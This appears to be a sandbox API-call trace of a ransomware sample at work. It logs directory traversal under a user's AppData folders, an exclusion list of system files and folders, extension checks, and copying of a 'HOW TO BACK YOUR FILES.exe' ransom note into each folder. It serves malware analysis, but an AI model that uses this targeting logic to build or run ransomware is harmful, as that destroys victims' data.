	[0043.211] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x31d33350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d33350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.211] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.211] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.211] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.211] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x31d33350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d33350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.211] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.211] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.212] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.212] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.212] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8e064c0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0043.212] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.212] lstrcmpiW (lpString1="1033", lpString2="Apollon865.txt.exe") returned -1
	[0043.212] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0043.212] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0043.212] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1
	[0043.212] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1
	[0043.212] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0043.212] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1
	[0043.212] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1
	[0043.212] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1
	[0043.212] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1
	[0043.212] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1
	[0043.212] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1
	[0043.212] lstrlenW (lpString="1033") returned 4
	[0043.212] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\*") returned 71
	[0043.212] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0043.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0043.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x96) returned 0x5995a0
	[0043.212] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0043.212] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31d33350, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31d33350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.212] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.212] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31d33350, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31d33350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.212] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.212] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc10
	[0043.212] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033"
	[0043.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995a0 | out: hHeap=0x580000) returned 1
	[0043.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0043.213] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033") returned 74
	[0043.213] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033"
	[0043.213] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.213] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.217] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.217] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x31d594b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d594b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.217] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.217] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.217] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.217] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x31d594b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d594b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.218] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.218] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.218] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.218] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.218] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8e064c0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0xfee79d60, ftLastWriteTime.dwHighDateTime=0x1d3aab9, nFileSizeHigh=0x0, nFileSizeLow=0x5f600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Global.MPT", cAlternateFileName="")) returned 1
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2="Apollon865.txt.exe") returned 1
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2=".") returned 1
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2="..") returned 1
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2="windows") returned -1
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2="bootmgr") returned 1
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2="temp") returned -1
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2="pagefile.sys") returned -1
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2="boot") returned 1
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2="ids.txt") returned -1
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2="ntuser.dat") returned -1
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2="perflogs") returned -1
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2="MSBuild") returned -1
	[0043.218] lstrlenW (lpString="Global.MPT") returned 10
	[0043.218] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\*") returned 76
	[0043.218] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="Global.MPT" | out: lpString1="Global.MPT") returned="Global.MPT"
	[0043.218] lstrlenW (lpString="Global.MPT") returned 10
	[0043.218] lstrlenW (lpString="Apollon865") returned 10
	[0043.218] lstrlenW (lpString=".dll") returned 4
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2=".dll") returned 1
	[0043.218] lstrlenW (lpString=".lnk") returned 4
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2=".lnk") returned 1
	[0043.218] lstrlenW (lpString=".ini") returned 4
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2=".ini") returned 1
	[0043.218] lstrlenW (lpString=".sys") returned 4
	[0043.218] lstrcmpiW (lpString1="Global.MPT", lpString2=".sys") returned 1
	[0043.218] lstrlenW (lpString="Global.MPT") returned 10
	[0043.219] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC"
	[0043.219] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591740 | out: hHeap=0x580000) returned 1
	[0043.219] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0043.219] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC") returned 59
	[0043.219] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC"
	[0043.219] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.219] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\mmc\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.223] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.223] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x31d594b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d594b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.224] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.224] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.224] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.224] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x31d594b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d594b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.224] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.224] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.224] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.224] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.224] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31d594b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31d594b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.224] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.224] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31d594b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31d594b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.224] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.224] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7cb0
	[0043.224] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer"
	[0043.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599500 | out: hHeap=0x580000) returned 1
	[0043.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0043.224] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned 73
	[0043.224] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer"
	[0043.224] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.224] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.230] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.230] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31d594b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d594b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.230] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.230] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.230] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.230] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31d594b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d594b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.230] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.230] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.230] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.230] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.230] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31d594b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31d594b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.230] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.230] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda554a0, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbda554a0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1
	[0043.230] lstrcmpiW (lpString1="Quick Launch", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.230] lstrcmpiW (lpString1="Quick Launch", lpString2="Apollon865.txt.exe") returned 1
	[0043.230] lstrcmpiW (lpString1="Quick Launch", lpString2=".") returned 1
	[0043.230] lstrcmpiW (lpString1="Quick Launch", lpString2="..") returned 1
	[0043.230] lstrcmpiW (lpString1="Quick Launch", lpString2="windows") returned -1
	[0043.230] lstrcmpiW (lpString1="Quick Launch", lpString2="bootmgr") returned 1
	[0043.230] lstrcmpiW (lpString1="Quick Launch", lpString2="temp") returned -1
	[0043.231] lstrcmpiW (lpString1="Quick Launch", lpString2="pagefile.sys") returned 1
	[0043.231] lstrcmpiW (lpString1="Quick Launch", lpString2="boot") returned 1
	[0043.231] lstrcmpiW (lpString1="Quick Launch", lpString2="ids.txt") returned 1
	[0043.231] lstrcmpiW (lpString1="Quick Launch", lpString2="ntuser.dat") returned 1
	[0043.231] lstrcmpiW (lpString1="Quick Launch", lpString2="perflogs") returned 1
	[0043.231] lstrcmpiW (lpString1="Quick Launch", lpString2="MSBuild") returned 1
	[0043.231] lstrlenW (lpString="Quick Launch") returned 12
	[0043.231] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*") returned 75
	[0043.231] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="Quick Launch" | out: lpString1="Quick Launch") returned="Quick Launch"
	[0043.231] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", dwFileAttributes=0x10) returned 1
	[0043.231] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0043.231] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xae) returned 0x599500
	[0043.231] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0043.231] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1
	[0043.231] lstrcmpiW (lpString1="UserData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.231] lstrcmpiW (lpString1="UserData", lpString2="Apollon865.txt.exe") returned 1
	[0043.231] lstrcmpiW (lpString1="UserData", lpString2=".") returned 1
	[0043.231] lstrcmpiW (lpString1="UserData", lpString2="..") returned 1
	[0043.231] lstrcmpiW (lpString1="UserData", lpString2="windows") returned -1
	[0043.231] lstrcmpiW (lpString1="UserData", lpString2="bootmgr") returned 1
	[0043.231] lstrcmpiW (lpString1="UserData", lpString2="temp") returned 1
	[0043.231] lstrcmpiW (lpString1="UserData", lpString2="pagefile.sys") returned 1
	[0043.231] lstrcmpiW (lpString1="UserData", lpString2="boot") returned 1
	[0043.231] lstrcmpiW (lpString1="UserData", lpString2="ids.txt") returned 1
	[0043.231] lstrcmpiW (lpString1="UserData", lpString2="ntuser.dat") returned 1
	[0043.231] lstrcmpiW (lpString1="UserData", lpString2="perflogs") returned 1
	[0043.231] lstrcmpiW (lpString1="UserData", lpString2="MSBuild") returned 1
	[0043.231] lstrlenW (lpString="UserData") returned 8
	[0043.232] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned 86
	[0043.232] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="UserData" | out: lpString1="UserData") returned="UserData"
	[0043.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0043.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x5995b8
	[0043.232] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0043.232] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 0
	[0043.232] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.232] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
